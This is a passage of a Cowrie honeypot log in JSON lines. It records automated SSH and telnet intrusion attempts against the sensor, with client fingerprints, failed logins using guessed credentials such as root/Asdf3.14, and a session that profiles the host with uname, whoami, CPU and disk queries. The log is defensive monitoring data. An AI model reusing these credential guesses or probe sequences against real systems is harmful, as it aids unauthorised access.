{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:12.084673Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:12.644892Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:12.648034Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:12.906952Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:13.450215Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:13.453974Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.63518500328064,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:13.673982Z","src_ip":"69.6.249.0","session":"167e2a7e3dca","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:13.711730Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:14.256289Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:14.259170Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.17372703552246,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:14.451730Z","src_ip":"69.6.249.0","session":"73fd6a7576ff","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:14.516572Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:15.069967Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:15.073565Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:15.331629Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:15.888080Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:15.891610Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:16.148272Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:16.699744Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:16.703156Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:16.960604Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:17.541998Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:17.544910Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:17.802249Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":46218,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1814829dbfb","protocol":"telnet","message":"New connection: 69.6.249.0:46218 (159.203.135.109:23) [session: a1814829dbfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:17.915040Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:18.347562Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:18.350850Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:18.609268Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.7","message":"Connection lost after 21.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:18.613771Z","src_ip":"163.7.6.74","session":"51c2bd98e8dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.32685470581055,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:20.224252Z","src_ip":"69.6.249.0","session":"f37786785062","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17013692855835,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:21.508529Z","src_ip":"69.6.249.0","session":"fa5c40d438cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":46224,"dst_ip":"159.203.135.109","dst_port":23,"session":"424f4efa817f","protocol":"telnet","message":"New connection: 69.6.249.0:46224 (159.203.135.109:23) [session: 424f4efa817f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:21.654976Z"}
{"eventid":"cowrie.session.closed","duration":31.542248487472534,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:23.100666Z","src_ip":"68.178.168.57","session":"45a38cb19b7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.2680389881134,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:23.514598Z","src_ip":"69.6.249.0","session":"7837c3bbf3c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":35338,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f90beb7b93b","protocol":"telnet","message":"New connection: 69.6.249.0:35338 (159.203.135.109:23) [session: 1f90beb7b93b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:27.415050Z"}
{"eventid":"cowrie.session.closed","duration":32.16097640991211,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:27.941328Z","src_ip":"69.6.249.0","session":"e0a876c50d0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":35344,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3c5934382a8","protocol":"telnet","message":"New connection: 69.6.249.0:35344 (159.203.135.109:23) [session: c3c5934382a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:29.414067Z"}
{"eventid":"cowrie.session.closed","duration":31.011915683746338,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:32.498948Z","src_ip":"69.6.249.0","session":"63103390e8b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.168.57","src_port":48054,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1f23754ccf8","protocol":"telnet","message":"New connection: 68.178.168.57:48054 (10.17.0.5:23) [session: d1f23754ccf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:36.570055Z"}
{"eventid":"cowrie.session.closed","duration":120.0036153793335,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:39.450009Z","src_ip":"212.55.149.117","session":"b2a346506f67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":9238,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1a6997209a0","protocol":"telnet","message":"New connection: 212.55.149.117:9238 (10.17.0.5:23) [session: b1a6997209a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:43.110391Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":38080,"dst_ip":"10.17.0.5","dst_port":22,"session":"42331ac57987","protocol":"ssh","message":"New connection: 103.15.226.202:38080 (10.17.0.5:22) [session: 42331ac57987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:44.522062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:44.525931Z","src_ip":"103.15.226.202","session":"42331ac57987","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:44.766291Z","src_ip":"103.15.226.202","session":"42331ac57987","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asdf3.14","message":"login attempt [root/Asdf3.14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:45.501419Z","src_ip":"103.15.226.202","session":"42331ac57987","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:46.744239Z","src_ip":"103.15.226.202","session":"42331ac57987","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.755193948745728,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:49.670121Z","src_ip":"69.6.249.0","session":"a1814829dbfb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.40473461151123,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:53.059582Z","src_ip":"69.6.249.0","session":"424f4efa817f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":34554,"dst_ip":"159.203.135.109","dst_port":23,"session":"8db98136637d","protocol":"telnet","message":"New connection: 69.6.249.0:34554 (159.203.135.109:23) [session: 8db98136637d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:54.157548Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":55934,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab3bf89a0518","protocol":"telnet","message":"New connection: 69.6.249.0:55934 (159.203.135.109:23) [session: ab3bf89a0518]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:55.157446Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.92.193.123","src_port":50788,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2b250c4e838","protocol":"telnet","message":"New connection: 208.92.193.123:50788 (10.17.0.5:23) [session: d2b250c4e838]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:57.619216Z"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":49460,"dst_ip":"159.203.135.109","dst_port":22,"session":"45a088d56d98","protocol":"ssh","message":"New connection: 163.7.6.74:49460 (159.203.135.109:22) [session: 45a088d56d98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:58.915326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:58.920284Z","src_ip":"163.7.6.74","session":"45a088d56d98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.603752613067627,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:59.018664Z","src_ip":"69.6.249.0","session":"1f90beb7b93b","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:42:59.176752Z","src_ip":"163.7.6.74","session":"45a088d56d98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.718629598617554,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:43:00.132548Z","src_ip":"69.6.249.0","session":"c3c5934382a8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:43:00.236002Z","src_ip":"163.7.6.74","session":"45a088d56d98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:43:01.495176Z","src_ip":"163.7.6.74","session":"45a088d56d98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.777273654937744,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:43:07.347231Z","src_ip":"68.178.168.57","session":"d1f23754ccf8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":34288,"dst_ip":"159.203.135.109","dst_port":23,"session":"421ba95dc922","protocol":"telnet","message":"New connection: 69.6.249.0:34288 (159.203.135.109:23) [session: 421ba95dc922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:43:08.794343Z"}
{"eventid":"cowrie.session.closed","duration":32.215391874313354,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:43:26.372792Z","src_ip":"69.6.249.0","session":"8db98136637d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.375999212265015,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:43:27.533354Z","src_ip":"69.6.249.0","session":"ab3bf89a0518","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":58304,"dst_ip":"159.203.135.109","dst_port":22,"session":"1860e2c14543","protocol":"ssh","message":"New connection: 80.94.92.186:58304 (159.203.135.109:22) [session: 1860e2c14543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:43:27.903681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:43:27.957020Z","src_ip":"80.94.92.186","session":"1860e2c14543","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ct